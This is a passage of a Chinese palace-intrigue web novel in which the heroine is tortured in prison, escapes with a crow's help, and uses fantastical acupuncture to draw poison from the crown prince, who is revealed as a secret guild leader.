《掉马后,我成为病娇太子心尖宠》
第37章 天牢血夜
几个狱卒站在林绾绾跟前,像对待货物一般,对她评头论足。
“疤爷,这就是陛下亲口下令,要凌迟的那个?听说还是什么前朝余孽?”旁边一个瘦猴似的狱卒谄媚地问。
“哼,管她什么余孽不余孽。到了咱这阎罗殿,是龙得盘着,是虎也得卧着!”
刀疤脸狱卒淬了一口浓痰,狞笑着走上前,伸出那只沾满污垢、指甲缝里满是黑泥的脏手,直接朝着林绾绾苍白的脸颊摸去。
“小美人儿,反正三天后也是个死,不如让疤爷我…在你死之前好好舒服一次?嘿嘿…”淫邪的笑声在狭窄的牢房里回荡。
巨大的屈辱冲上林绾绾的头顶!
她使劲偏头躲开那只脏手,喉咙里发出野兽般的低吼:“滚开!”
“妈的!还敢躲?”
刀疤脸狱卒被激怒,脸上横肉抖动,抬手就是一记凶狠的耳光狠狠扇了过来。
“啪!”一声清脆刺耳的脆响。
林绾绾被打的头偏向一侧,脸颊瞬间红肿起来,火辣辣的痛。
“贱人!敬酒不吃吃罚酒!”
刀疤脸狱卒眼中凶光毕露,一把揪住林绾绾凌乱的头发,迫使她抬起头,另一只手抽出挂在腰间的牛皮鞭,然后高高扬起。
“给老子好好招呼招呼她!让她知道知道天牢的规矩。”他狞笑着下令。
“是!疤爷!”旁边几个狱卒立刻扑了上来。
有人用沾了盐水的皮鞭狠狠抽打林绾绾吊起的身体,有人用烧红的烙铁在她面前晃动恐吓,更有人用带着铁钉的靴子狠狠踹向她的腿骨!
皮鞭撕裂了皮肉,沉重的踹击如同铁锤砸在骨头上。
生疼!
林绾绾死死咬住下唇,硬生生将痛呼咽了回去,牙齿深深陷入唇肉,鲜血的味道回荡在口腔中。
她眼中燃烧着冰冷的倔强,如同陷入绝境的孤狼,死死盯着眼前施暴的禽兽们。
铁链因身体的剧烈颤抖和挣扎而疯狂作响。
每一次鞭打都带起一片血花,溅落在冰冷的墙壁和狱卒狞笑的脸上。
“骨头还挺硬!”
刀疤脸狱卒见林绾绾一声不吭,眼中戾气更盛,一把夺过旁边狱卒手中烧得通红的烙铁。
“老子倒要看看,你能硬到几时!”
他就住林绾绾的头发,将散发着恐怖高温和焦糊味的烙铁头,朝着她的身体狠狠按了下去!
灼热刺鼻的皮肉焦糊味瞬间弥漫开来,伴随着林绾绾再也无法压抑的,凄厉到破音的惨嚎!
“啊——!”
剧痛如同岩浆瞬间灌入身体一般,林绾绾眼前彻底被黑暗和血红的金星淹没!
意识在极致的痛苦中摇摇欲坠!
就在这濒临崩溃的瞬间,林绾绾体内那极致的痛苦和屈辱彻底引爆了玄冥寒毒。
一股难以想象的、足以冻结灵魂的恐怖寒气,从她丹田深处炸开,瞬间席卷全身。
“咔嚓…咔嚓…”
一阵阵轻微的水凝成冰的声音响起!
以林绾绾为中心,一股肉眼可见的白色寒雾扩散开来。
牢房内的温度骤降,地面上迅速凝结出一层薄薄的白霜。
那烧得通红的烙铁头,在接触完皮肤后,竟发出“嗤嗤”的声响,表面的高温被硬生生冻结,熄灭,接着冒起一股白烟!
揪着她头发的刀疤脸狱卒只觉得一股刺骨的冰寒顺着手臂蔓延上来,冻得他惨叫一声,猛地松开了手,连连后退!
他低头看向自己的手掌,上面竟覆上一层薄薄的白霜,指尖已经失去了知觉。
其他几个狱卒也被这突如其来的寒气冲击,动作停滞,如同见了鬼一般。
“妖…妖法!她真的是妖女!”瘦猴狱卒吓得面无人色,声音都变了调。
刀疤脸狱卒看着自己被冻伤的手,又惊又怒,眼中凶光更盛:“怕什么!一起上!给老子弄死她!”
就在他们准备再次扑上去时——
“吵什么吵!都他娘的给老子安静点!”
一个更加粗鲁、带着浓浓不耐烦的声音从甬道深处传来。
紧接着,一个穿着狱吏服色,身材魁梧如铁塔、满脸虬髯的汉子,带着几个气息明显更加精悍的狱卒走了过来。
他目光如电,冷冷扫过一片狼藉的牢房和浑身是血被吊在铁链上,周身散发着诡异寒气的林绾绾,最后落在了刀疤脸等人的身上。
“王疤瘌!你他娘的又在搞什么名堂?上面交代了,这女人是重犯,三日后要明正典刑的!要是让你给弄死了,老子拿你是问!”
虬髯狱吏声如洪钟,带着不容置疑的威压。
刀疤脸狱卒似乎对这虬髯汉子颇为忌惮,脸上挤出谄媚的笑容:
“刘头儿,您误会了!这妖女不老实,兄弟们只是给她点教训,让她懂懂规矩…”
“规矩?”
被称作刘头儿的虬髯狱卒冷哼一声,目光扫过林绾绾身上被烙铁烫焦却又覆盖一层薄霜的伤口,眼中闪过一丝不易察觉的惊异。
“陛下的规矩就是让她活着上刑场!你再敢乱来,小心你的皮!滚!”
刀疤脸等人被呵斥得灰头土脸,恨恨地瞪了林绾绾一眼,悻悻地退了出去。
牢门再次关上,所有人都退了出去。
离开前,那个虬髯狱吏示意将林绾绾从悬挂的铁链上放了下来,并把绑在她身上的东西都除掉。
刺眼的火光和嘈杂的脚步声远去,黑暗和死寂再次降临。
林绾绾虚脱般坐在地上,剧烈地喘息着。
身上被烙铁烫伤的剧痛混合着体内的寒毒,如同无数把钝刀在疯狂切割她的神经!
冷汗和血水混在一起,顺着苍白的肌肤滑落。
就在她意识模糊,即将彻底沉沦黑暗之际,甬道又传来铁门开启的声音!
这一次的脚步声,轻盈而迅速,带着一种刻意的收敛。
一间死囚牢房的门被打开。
紧接着,突然传来一个女人歇斯底里、充满无尽恐惧和崩溃的尖叫声!
“放过我,放我出去!“
“不是我!是贵妃娘娘指使的!那凤凰木种子就是被她埋在御花园…我没有告诉过别人!”
“她答应我,助我当上太子妃的…她竟然要杀我!”
“救命啊——!”
是林月瑶!
她的声音里充满了濒死的绝望。
林月瑶背后的人真的是柳贵妃!
凤凰木的种子在柳贵妃手里!那她肯定就是杀死端妃跟九皇子的元凶!
巨大的信息量让林绾绾瞬间忘记了身体的剧痛!
她从来没觉得自己离真相这么近过!狂喜跟怒意交织在心头!
“噗嗤!”
一声极其轻微的利器入肉声,打断了林月瑶歇斯底里的哭喊。
紧接着,是重物倒地的闷响。
林月瑶的声音戛然而止!
死一般的寂静,瞬间笼罩了整个死囚重狱!
林绾绾全身血液瞬间冻结,她扑到牢门小窗前,极力向外望去。
刚才进到牢房的人,将林月瑶灭口了…
最后的人证…没了!
第38章 血鸦衔霜
林绾绾背靠着冰冷的铁门,缓缓滑坐在地,喉咙里发出破碎的绝望笑声。
泪水混合着脸上的血污滑落,心如死灰。
完了…一切都完了…
人证没了…她三日后也要被凌迟…
林家的血仇…九皇子冤案…将永远沉入黑暗…
就在这绝望的深渊将她彻底吞噬的瞬间——
“咻!”
一声如同昆虫振翅的破空声,毫无征兆地从牢房顶部那狭小的,仅供通风的缝隙中传来。
林绾绾下意识抬头!
一支通体乌黑,尾部镶嵌着两颗极其微小,猩红如血宝石的袖箭,精准无比地钉在了她面前冰冷潮湿的地面上。
箭镞上,穿着一小卷极其纤细的素帛。
林绾绾拔下那枚袖箭,展开那卷素帛。
借着牢房外极其微弱的光线,模模糊糊间看清了上面用炭条写就的字:
子时三刻,血鸦引路。
没有落款。
那枚乌黑袖箭的款式,还有尾部猩红的宝石…
记忆深处,乱葬岗马车上的那只鸦羽扳指!
林绾绾的呼吸骤然屏住!
昔日她跟赵乾打听过这枚鸦羽扳指,赵乾听完她的描述后,当时就脸色大变。
赵乾告诉她,那枚鸦羽扳指是血鸦阁阁主的信物!
她还清楚记得赵乾跟她的描述:
“血鸦阁…邪门得很!神出鬼没,爪牙遍布朝野江湖,据说连…连那位都忌惮这阁主三分!血鸦阁阁主想杀的人,阎王都不敢留到五更,他若想保谁,九幽地狱也能捞回来!”
血鸦阁阁主的出现,对她而言或许是生路,亦有可能是踏入更危险的深渊。
可是,如今林绾绾没地可选!
滚烫的求生欲,灼烧了她被冰寒和剧痛冻结的心脏。
她攥紧了袖箭,尖锐的尾翼刺破掌心,细小的刺痛让她浑浊的神智为之一清。
人证已灭,她的时间也所剩无几!
这枚袖箭,是她唯一的浮木!
子时三刻…时间从未过得如此缓慢。
林绾绾蜷缩在角落,牙齿深深陷入下唇,用尽全部意志抵抗着要将她意识拽入沉沦的黑暗。
“当--!当--!当--!”
遥远的地面上方,隐约传来三声悠远、沉闷的梆子响,穿透层层岩石与黑暗,敲打在死寂的天牢深处。
时辰到了!
林绾绾抬起头,眼中爆发出困兽般的光芒!
几乎就在梆子声余音落下的刹那——
“笃!”
一声如同石子敲击木板的声响,精准地从头顶那狭小的通风口传来。
紧接着,一团小小的,比夜色更浓重的黑影,悄无声息地滑落下来,轻盈地落在潮湿的地面上,没有激起一丝尘埃。
是那只血瞳乌鸦!原来它是血鸦阁的一员!
乌鸦无声地扑扇了一下翅膀,带起微弱的气流。
随即转身,迈着无声的步伐,停在紧闭的铁栅门前。
它的血瞳盯着锁孔一动不动。
几息之后,猛地张开尖喙,一道极其细微的乌光带着微弱锐响,从它口中激射而出。
一声机簧弹动声响起,沉重的铁索应声弹开。
铁门无声地滑开一道缝隙,仅容一人侧身而过。
甬道里腐朽冰冷的空气涌入,带着远处狱卒若有若无的鼾声。
血瞳乌鸦率先飞出牢门,在昏暗的甬道中盘旋一周,猩红的眼睛扫视着每一个黑暗的角落。
随即停在半空,无声地注视着林绾绾,像是在催促。
林绾绾咬紧牙关,强忍着浑身骨头散架般的酸软,手脚并用地从地上爬起。
她踉跄着扑到门边,侧身挤了出去。
双脚重新踏上甬道的石板,刺骨的寒意从脚底直冲头顶,反而让她混沌的头脑清醒了一瞬。
她不敢多做一丝停留,扶着冰冷湿滑的墙壁,跌跌撞撞地跟随着前方那个在昏暗光线下若隐若现的黑色小点。
血瞳乌鸦的飞行轨迹极其诡异而精准。
它并非直线前进,而是在纵横交错的甬道岔路中灵巧穿梭。
时而低空掠过地面,时而紧贴阴暗的墙角,完美避开墙上悬挂的微弱油灯所能照亮的范围。
它那双血红的眼睛,在黑暗中如同精准的雷达,总能提前发现拐角或阴影处巡逻的狱卒身影。
每当遇到这种情况,乌鸦便会无声地落在阴影里,血瞳紧盯着危险的方向,如同凝固的雕像。
林绾绾便会立刻屏住呼吸,将身体死死贴在墙壁的凹陷处。
好几次她都能清晰地听到狱卒沉重的皮靴踩踏地面的声音,闻到他们身上劣质酒气和汗臭的混合味道,甚至能感觉到对方呼出的热气近在咫尺!
在乌鸦的指引下,林绾绾如同行走在刀尖上的幽灵。
然而,通往自由的路,注定布满荆棘。
就在他们即将穿过最后一条长长的废弃水牢的狭窄甬道时,意外发生了!
连接着上方普通牢区的铁栅门外,突然传来一阵喧哗和急促的脚步声。
“快!拦住他!别让他跑了!”
“敢咬老子,弄死他!”
混乱的叫骂声,铁器撞击声,犯人的嘶吼声,打破了地底死囚重狱的寂静。瞬间惊动了下方刚刚交接完,正靠着墙打盹的两个狱卒。
“上面搞什么鬼?”一个狱卒揉着眼睛直起身。
“不对劲,过去看看!”另一个警惕性较高,立刻抄起腰刀,朝着混乱的源头方向快步走去。
他们前进的方向,正好要经过林绾绾藏身的这条甬道!
血瞳乌鸦反应快如闪电,立刻振翅飞回,落在林绾绾前方几步远的一个巨大、废弃的木质水车轮盘后面,示意她过来躲藏。
林绾绾强提一口气,猛地扑向那堆腐朽的木头阴影里。
脚步声越来越近!
“咦?刚才好像有影子晃了一下。”警惕的狱卒声音带着狐疑,目光锐利地扫视着黑暗的通道。
他手中的风灯高高举起,昏黄的光线一点点向前推移,眼看就要扫到水车轮盘边缘。
林绾绾的心几乎停止跳动,指甲深深抠进腐朽的木头里!
“哇--!”
一声凄厉的乌鸦啼鸣,从黑暗深处炸响!
“什么东西?”两个狱卒被这突如其来的叫声吓得浑身一哆嗦,手中的风灯剧烈摇晃。
“真晦气,大半夜还能听见乌鸦叫!”
二人知晓是乌鸦作怪,便不再上前探查,转身离去。
脚步声越来越远。
第39章 心焰焚夜
林绾绾瘫软在冰冷的阴影里,大口大口地喘息着。
血瞳乌鸦悄无声息地飞落到她面前的地面上,歪着头,猩红的眼睛静静地看着她,似乎在判断她的身体状态。
林绾绾对上那双红瞳,心头奇异地掠过一丝劫后余生的安定。
她挣扎着,用尽最后的力气撑起身体,哑声道:“走...我还能走!”
乌鸦不再迟疑,转身继续引路。
接下来的路相对顺利。
穿过一道早已锈死,却似乎被某种巨力强行撕开一道裂缝的铁栅栏。
前方出现了一个仅容一人弯腰通过的狭窄石缝。
冰冷潮湿的风从缝隙中灌入。
血瞳乌鸦率先飞入石缝中。
林绾绾紧随其后,手脚并用,在尖锐的碎石和湿滑的泥泞中艰难爬行。
石缝尽头,豁然开朗!
眼前是一片稀疏的枯木林,远处是皇城高耸的宫墙轮廓。
冰冷而自由的空气扑面而来。
他们竟然直接从天牢最深处,绕到了皇城最偏僻的西北角。
出来了!她逃出来了!
巨大的狂喜冲击着林绾绾。
然而,这狂喜只持续了一瞬,一股强压的逆血再也控制不住,喷涌而出。
眼前天旋地转,林绾绾的身体直挺挺地向后倒去。
她模糊的视野中,那只血瞳乌鸦并未飞走,而是如同忠诚的卫士般盘旋在她头顶。
随即,一个高大,挺拔,如同鬼魅的身影出现在她身侧。
一只骨节分明,带着黑色皮质手套的手,稳稳地托住了她倒下的身体。
透过模糊的视线,她看到了那只手的大拇指,带着一枚扳指。
材质非金非玉,漆黑如墨,两颗猩红如血的宝石镶嵌在上面,微光下折射出冰冷而妖异的光芒。
鸦羽扳指!
是他!血鸦阁主!
林绾绾意识彻底陷入黑暗。
******
冷!
深入骨髓,冻结灵魂般的冷!
意识在无边的冰寒地狱中沉浮
。
身体已经没有任何知觉,只觉心脉处,一股微弱却异常灼热的暖流在顽强地搏动,抵御着四面八方汹涌而来的寒气。
林绾绾感觉自己被冰封在万丈玄冰之下,无数混乱的、光怪陆离的碎片在冰层深处闪烁,旋转:
冲天而起的火光,吞噬了雕梁画栋的府邸,凄厉的哭喊声被烈焰舔舐扭曲…
林家灭门夜!
父亲林崇明沾满血污的手,死死抓住她的胳膊,眼神绝望而决绝:“绾绾,活下去,找真相!”
一个模糊的、散发着浓郁药香的怀抱…母亲温柔地哼唱着温柔而晦涩的歌谣…
歌谣里似乎有“金昙花开…凤凰木引…圣火长明…”的字句…
还有一双眼睛…一双在漫天火光和浓烟中,冰冷、沉静、如深渊寒潭般的眼睛…
碎片疯狂旋转,碰撞,最终定格在一个清晰的画面上——
逼仄的宫室,浓重的令人作呕的药味。
一个瘦小的,穿着明黄寝衣的小男孩蜷缩在宽大的床榻角落,小小的身体因为剧烈咳嗽而不停地抖动。
脸色惨白得几乎透明,嘴唇泛着诡异的青紫。
他死死咬住下唇,不想让自己咳出声。
那双漂亮的出奇的眼睛过早染上了沉郁阴鸷,充满了与年纪不符的倔强和痛苦。
床边,一个穿着太医服饰的中年男子正半跪着,动作轻柔而迅速地打开一个古朴的紫檀木药箱。
那药箱…正是林家祖传,一直跟随在父亲身边的那只!
男子面容清癯,眉宇间带着忧色,是父亲林崇明!
“太子殿下!放松。”林崇明的声音带着安抚人心的力量。
他飞快从药箱中取出一枚极细的银针,针尖在烛火下闪过一点寒芒,精准无比地刺入小男孩的胸口。
小男孩身体一颤,那濒死的窒息感似乎消退了不少。
他大口喘着气,那双黑沉沉的眼睛,死死盯着林崇明手中的银针,以及他药箱里一个雕刻着繁复云纹的玉瓶。
“林太医…”小男孩声音嘶哑,带着孩童的稚嫩,却也隐约有了上位者的掌控。
“那药,给孤…”
林崇明的脸上掠过一丝痛惜和挣扎:“殿下,此药霸道,虽能暂缓寒毒噬心之痛,但于您根基有损,长此以往…”
“给孤!”小男孩打断他,小小的手攥紧了身下的被子,眼中是近乎偏执的狠厉和不容抗拒,“孤…受得住!”
林崇明无奈地叹息一声,终究还是从玉瓶中倒出一颗龙眼大小,通体赤红的药丸。
就在他准备把药丸送入小男孩口中时——
“爹爹!”
一个脆生生的童音在门口响起。
一个约莫五六岁,梳着双髻,穿着杏子红袄裙的小女孩,扒着厚重的门框,探出半个小脑袋。
她生得玉雪可爱,一双大眼睛如同浸在水里的黑葡萄,正好奇地瞧着屋内。
她的目光落在小男孩苍白又痛苦的脸上,又落到那颗赤红的药丸上,小鼻子皱了皱,似乎被那辛辣的气味呛到。
她的小手在怀里摸索着,然后小心翼翼地捧出一样东西,朝着床榻的方向,小小地迈了一步。
“爹爹,这个给哥哥。”
她的声音细细软软,带着孩童特有的纯净。
摊开小小的掌心,里面躺着一块用油纸细心包好的,小巧精致的点心。
“绾绾,不可无礼!”林崇明脸色微变,出声阻止。
床榻上的小男孩看着门口,这个粉雕玉琢、眼神清澈懵懂的小女孩,一种隐秘的渴望在那双过早封闭内心的孩童眼眸深处一闪而逝。
“放肆!”一个尖厉刻薄的老嬷嬷声音突然插了进来,语气是浓浓的不悦。
“哪儿来的野丫头,竟敢窥探太子殿下,还不赶快滚出去!”
一只枯瘦的手粗暴地伸过来,要将小女孩拽走。
“哇!”小女孩被吓到,点心脱手掉到地上,油纸散开,露出里面晶莹剔透,点缀着金色花瓣的糕饼。
她小嘴一憋,眼泪涌上来。
老嬷嬷手上动作没停,不由分说就要将小女孩拖出去。林崇明忙上前解释,老嬷嬷这才作罢。
而小男孩看着地上的糕点,从床榻上下来,小心翼翼地将糕点捡起来。
他抬起头,看着一旁的小姑娘。
小姑娘脸上还挂着泪,但看到小男孩捡起糕点还看向自己时,脸上却扬起微笑。
“小哥哥,这个很好吃的。你吃了它,再苦的药也就不怕了。”
二人对视间,男孩那双黑沉沉的眼睛第一次映入了另一个人的影子——
一个娇小可爱的、眼睛像黑葡萄一样的小姑娘!
记忆的碎片轰然炸开!
林绾绾的意识在冰寒与灼热的交锋中惊醒!
第40章 真实身份
林绾绾艰难地睁开沉重的眼皮。
身下并非冰冷刺骨的雪地,而是带着暖意的,柔软的皮毛。
鼻尖萦绕着熟悉的冷冽味道,其中还混合着极淡的,清苦的药味。
耳边是噼啪作响的篝火燃烧声,温暖的气息包裹着她僵冷的四肢。
先映入眼帘的,是跳跃的橘红色的火光。
火光下,勾勒出一个近在咫尺的,宽阔的男性背脊。
玄色的衣料紧贴着流畅而充满力量的肌肉线条。
然而,这充满力量感的背脊上,此刻却横亘着一道狰狞可怖的伤口!
从右肩胛斜延伸至左侧后腰,皮肉翻卷,深可见骨。
伤口边缘呈现出一种诡异的紫黑色,丝丝缕缕的黑气如同活物般在伤口深处蠕动,不断侵蚀着周围健康的血肉。
这分明是与她左肩处一模一样的毒伤!
是“蚀骨”掌毒!
但这伤口显然比她所受的更加严重。
林绾绾目光死死锁住那道恐怖的伤口,手掌撑地,挣扎想要起身。
全身剧痛袭来,痛得她闷哼一声。
这微小的动静惊动了前方的人。
玄衣人猛地回过头!
火光跳跃,映亮了他那张此刻毫无遮掩的脸。
俊美熟悉的轮廓,脸色苍白得可怕,薄唇抿成一条直线,额角布满细密的冷汗。
那双总是深不见底的黑眸,此刻翻涌着惊愕,心痛与一丝猝不及防的狼狈。
他显然没料到林绾绾会在此刻醒来,更没料到会被她看到自己如此狼狈的样子。
那层“病弱太子”的伪装,在这生死相依的隐秘空间里,被彻底撕开了一道口子!
那个在朝堂之上咳血示弱,被各方势力觊觎的储君,暗地里竟然是掌控着令朝野闻风丧胆的庞大地下势力的主人!
这需要何等的心机、隐忍和力量?
梦境中那个病弱的小哥哥,皇宫中的几次出手相救,到如今…
所有的回忆如同散落的珠子,被“血鸦阁主”这个身份串联起来。
“你…”林绾绾刚想说点什么。
“噗--!”
一口粘稠的瘀血,毫无征兆地从萧景珩口中喷出,星星点点溅落在林绾绾身前的皮毛上,触目惊心!
高大的身躯摇晃一下,眼中强撑的锐利光芒瞬间暗淡,整个人向后倒去。
“萧景珩!”林绾绾的心脏如同被一只冰冷的手狠狠攥住。
她不顾自己身体的疼痛,整个人扑上前,堪堪接住了萧景珩倒下的沉重身躯。
萧景珩的身体在林绾绾怀中无法控制的剧烈颤抖着。
那强大冷酷的血鸦阁主,那隐忍深沉的太子殿下…所有的伪装都在此刻被卸下。
他脆弱得如同破碎的琉璃,生命的气息也似乎正在飞速流逝!
“萧景珩你睁开眼,你不能死!”林绾绾看着怀中气息奄奄的男人,巨大的恐慌和一种尖锐的痛楚攫住了她。
幼时那盯着糕点的孩童眼眸,清漪殿中与皇帝对峙的决绝身影,温泉中毫无保留的炙热内息…
无数画面在林绾绾脑海中疯狂碰撞!
决不能让他死!
林绾绾将萧景珩放平在毛皮上,看着他肩背上不断渗出紫黑色毒血的伤口。
根据之前萧景珩的说法,这种毒用寻常的方法根本无法祛除,反而会适得其反。
九转玲珑针!
林绾绾脑中灵光一闪!
父亲札记中记录过一个方法,名为移花接木!
用九转玲珑针配合林家针法,以自身为桥,引毒渡毒!
此法虽险,胜算却大!
事不宜迟,林绾绾拔下头上木簪,一扭,一拔,取出里面所有的九转玲珑针。
自之前发生过太多事之后,她就改良了木簪的机扩,将所有针都藏在里面,以备不时之需。
没想到会在今天派上用场。
林绾绾深吸一口气,摒弃所有杂念,进入医者忘我境界。
指尖捻起一根针,毫不犹豫刺向自己头顶正中的百会穴!
针入瞬间,一股微弱的暖流自头顶百会灌入督脉,强行刺激她近乎枯竭的精神力,驱散部分侵入识海的寒毒阴霾!
她闷哼一声,脸色由惨白转为一种病态的潮红,眼神却愈发明亮起来。
紧接着,她双手快如闪电,捻起另外两根针,精准地刺入萧景珩左右手腕内侧,距腕横纹两寸的内关穴!
此穴属手厥阴心包经,有宁心安神,宽胸理气之效。
针尖入穴,如同在狂暴的寒毒洪流中打入两根定海神针,暂时护住萧景珩脆弱的心脉,减缓生命元气的流逝!
她动作不停,又捻起两根,刺入萧景珩双足前凹陷处的涌泉穴!
涌泉乃肾气生发之源,对引火归元有奇效。
行针之后,如同在即将枯竭的泉眼注入生机,强行激发了萧景珩深藏的肾元之力,稳固生命之根。
五针落下,萧景珩的呼吸变得绵长了许多。
林绾绾没有丝毫松懈,目光变得越来越凝重。
左手持针,将针尖扎进自己左肩胛,受过“蚀骨”掌毒的中心位置。
右手捻针,精准无比地刺入萧景珩后背的心俞穴!
此处是他伤口最深,黑气最为浓郁的核心位置。
以两根金针为无形的桥梁,用自己左肩胛残留的一点点余毒作为引导,通过无形气机的相连,狠狠灌注进萧景珩心俞穴附近的伤口处。
这是最直接的“毒引”。
先利用蚀骨毒掌本身的霸道特性,以毒攻毒,接着再去冲击、消磨萧景珩体内的掌毒本源。
接着,通过毒素引导,毒血流转间的奇异共鸣,掌毒全部返回到林绾绾身上。
难以想象的剧痛和阴寒席卷着林绾绾全身,她强力维持着自己最后的清醒。
她不能倒下,倒下就是两人俱亡!
“噗--!”
毒血引导间,萧景珩身体猛地弓起,又重重砸回地面,一大口浓稠且散发着恶臭的毒血喷出,溅落在皮毛上,发出“嗤嗤”的腐蚀声。
林绾绾承受着双倍的痛苦,双手却如同焊在了九转玲珑针上。
不顾自己经脉撕裂的灼痛,持续不断且小心翼翼地调整着针尖的深浅和角度,引导毒流的强度和方向。
每一次微小的调整,都伴随着撕心裂肺的剧痛。
时间在极致的痛苦中流淌。
每一息都如同过了几年般漫长。
汗水早已流尽,只剩下冰冷的虚脱感和喉咙里浓重的血腥味。
第41章 救与自救
不知过了多久,林绾绾感觉到渡入自己体内的毒流开始变得稀薄。
萧景珩后背伤口处盘踞的紫黑色死气,肉眼可见消散了大半,翻卷的皮肉边缘甚至透出一点新鲜的血色。
林绾绾知道,最核心的本源之毒已经被成功地引导渡入自己体内,萧景珩体内剩下的残余靠他自身的生机可以慢慢消磨化解。
她拼尽最后力气,同时拔出刺在萧景珩心俞穴跟她左肩胛上的针。
但,危机尚未解除!
强行引导渡毒后,汇聚在她经脉内的毒素开始反扑,现在她必须要自救。
林绾绾左手五指指尖,因为毒气淤积,已经呈现出骇人的紫黑色,并且正快速向手掌蔓延!
她用尚能活动的右手,艰难地捻起一根针,狠狠刺向左手指尖的十宣穴。
先是细小而尖锐的刺痛感,紧接着是乌黑粘稠的毒血,如同压抑许久的毒泉,从针孔中汩汩涌出。
毒血滴落在洞内石面上,腐蚀出细小的坑洼。
随着毒血的排出,林绾绾手指上骇人的紫黑色以肉眼可见的速度褪去,麻木感减轻,取而代之的是一种钻心刺骨的剧痛和虚弱。
她强撑着,又用针尖在左臂肘窝处的曲泽穴快速点刺放血,排出更深层的部分余毒。
做完这一切,她再也支撑不住,眼前彻底被黑暗吞噬。
她的身体重重倒在萧景珩身侧,右手还紧紧攥着一根九转玲珑针。
火堆旁,那只血瞳乌鸦,不知何时已安静地落在不远处一根倒伏的枯枝上,猩红的眼睛“注视”着相叠倒下的两人。
它歪了歪头,发出一声极轻的、仿佛带着一丝困惑的鸣叫。
火光跳跃,将两人染血的身影长长地投射在冰冷的洞壁上。
林绾绾苍白如纸的脸颊紧贴着萧景珩微微恢复了些许体温的臂膀,两人散落的发丝在微弱的气流中轻轻交缠。
洞内浓重的血腥味中,掺杂了一种劫后余生的静谧。
林绾绾是被一阵持续不断的、细碎的“窸窣”声扰醒的。
意识仿佛沉浸在粘稠的泥沼中,每一次挣扎都牵扯着全身撕裂般的剧痛,感觉自己像极了一具被拆散了又勉强拼凑起来的破布娃娃。
她艰难地掀开沉重的眼皮,视线好一会才逐渐清晰。
此处依旧是那个避风的山洞,篝火已经熄灭,只剩下一堆暗红的余烬,散发着微弱的暖意。
她躺在柔软的皮毛上,身上盖着一件宽大的玄色外袍。
左肩胛传来阵阵清凉舒爽的感觉,侧头一看发现是被重新仔细包扎过。
萧景珩不在身侧,而所有的九转玲珑针已被收好,放在林绾绾手旁。
林绾绾环顾四周,发现萧景珩就靠坐在她旁边不远处的洞壁旁。
他上身只穿着雪白的里衣,衣襟微敞,露出线条流畅的锁骨和一小片紧实的胸膛。
他闭着眼,似乎在沉睡,脸色虽苍白,但眉宇间的灰败之气已经全部消散。
他呼吸平稳绵长,如同一只蛰伏的猛兽,在休憩中积蓄力量。
而发出那“窸窣”声的来源,就在萧景珩身前的地面上——
是那只血瞳乌鸦!
此刻,这只小东西正在用它尖利的喙,灵巧地啄开一小块干硬的饼子,然后将啄碎的细小颗粒,一点一点地喂进萧景珩微微张开,略显干涸的唇缝里。
它的动作轻柔耐心,猩红的眼睛里透着一股近乎虔诚的专注。
林绾绾静静地看着这一幕,心里漾开一圈细微的涟漪。
这个高大冷酷,深不可测的男人,竟也有需要被一只乌鸦照顾的时候。
她的目光缓缓移动,最终落在了萧景珩随意搭在身侧草地上的右手。
那只骨节分明的手,此刻正虚虚地握着,指缝间,漏出了一小截眼熟的、暗红色的…木片?
林绾绾的心猛地一跳。
她强忍着全身的痛楚,小心翼翼撑起身体,动作轻缓地向萧景珩的方向凑近了些许。
借着洞口投入的天光,她终于看清了——
是血凤凰木!
看来应是萧景珩从素雪手中得到的...
皇帝曾说过,血凤凰木在皇宫中是违禁物,见之即销!
而林月瑶在天牢中也提到,“血凤凰木的种子被贵妃种在御花园”。
既能在皇帝眼皮底下行事儿不被发现,还能将东西堂而皇之地种在御花园…
如此推断,这片血凤凰木片必定是出自贵妃之手!
用血凤凰木做药引制作朱颜改,戕害端妃;和林月瑶合谋,让林家满门被灭…
这木片,绝对是揭开贵妃真面目的关键钥匙。
林绾绾几乎控制不住地伸出手,想要将那截木片拿回手中。
就在她即将触碰到那木片的瞬间——
一只冰冷有力的手,如同铁钳般攥住了她的手腕!
林绾绾猝不及防,猛地抬头,正对上一双骤然睁开,深不见底的黑眸。
萧景珩攥着她的手劲极大,带着不容抗拒的威压和一丝尚未完全褪去的,属于血鸦阁主的冰冷杀意。
仿佛只要她有任何异动,这只手就会毫不犹豫地捏碎她的腕骨。
洞内空气凝滞。
只有那只血瞳乌鸦,歪着头,猩红的眼睛好奇地打量着两人之间无声的对峙。
“你想做什么?”萧景珩的声音透着寒意,眼睛里毫不掩饰的审视狠狠刺向林绾绾因惊惶而微微放大的瞳孔。
质问,如同冰冷的鞭子抽下。
林绾绾的心被揪紧,声音因疼痛和急切而带着细微的颤抖:
“你手里的血凤凰木是我发现的!这是贵妃的罪证,是她跟林月瑶勾结的证据!”
林绾绾语速极快。
她必须让萧景珩明白,这截小小的木片,是她目前唯一的,也是最后的翻盘机会!是她挣脱眼下绝境的唯一钥匙!
“证据?”萧景珩薄唇勾起一抹近乎残酷的弧度,眼中寒光更盛。
“在你手里,它只会是催命符!”他的声音带着洞悉一切阴谋的森然。
“贵妃的人,此刻恐怕已将整个皇城翻了过来!天牢灭口,只为封喉!这截木片从你手中再次现世,只会引来更疯狂的围剿!你绝对活不过明日!”
他垂眸,冰冷的目光落在木片上,指尖微微用力——
“咔嚓!”
一声极其细微却刺耳的脆响!
在萧景珩的指尖,那截承载着无数阴谋与血腥的暗红木片应声碎裂!
细小的木屑簌簌落下,如同一粒粒凋零的血色尘埃。
第42章 寒针渡情
林绾绾瞳孔骤缩,惊骇欲绝!
她挣扎着想扑过去,奈何被萧景珩一手控制着,无法挣脱分毫。
他竟然毁了血凤凰木!
毁了这唯一的,指向贵妃的实证!
巨大的绝望和难以置信的愤怒如同岩浆,瞬间冲垮了林绾绾的理智!
“为什么!那是我唯一的证据,是证明林月瑶跟贵妃勾结的证据!你毁了它,我还拿什么翻盘?!”
她嘶声质问,声音因极致的愤怒和绝望而尖锐破音,眼底漫上猩红的血丝。
她死死盯着萧景珩指尖残留的木屑,想着自己被碾碎的所有希望,右手攥紧,指甲竟也被生生掐断。
“翻盘?”萧景珩指腹碾过残留的木屑,声音低沉。
“用你的命去赌一个虚无缥缈的‘证据’?还是赌那些早已被贵妃和皇帝收买,恨不得将你千刀万剐的朝臣?有谁会相信一个“荧惑妖星”手里的证物?”
他手腕略微一用力,瞬间拉进二人的距离。
他高大的身影将林绾绾完全笼罩,说话间,温热的鼻息喷在林绾绾脸上。
“阿丑…不!我应该叫你林绾绾。收起你那点天真的妄想。在这座吃人的皇城里...真相,从来只掌握在活到最后的人手中!死人,没有资格谈翻盘!”
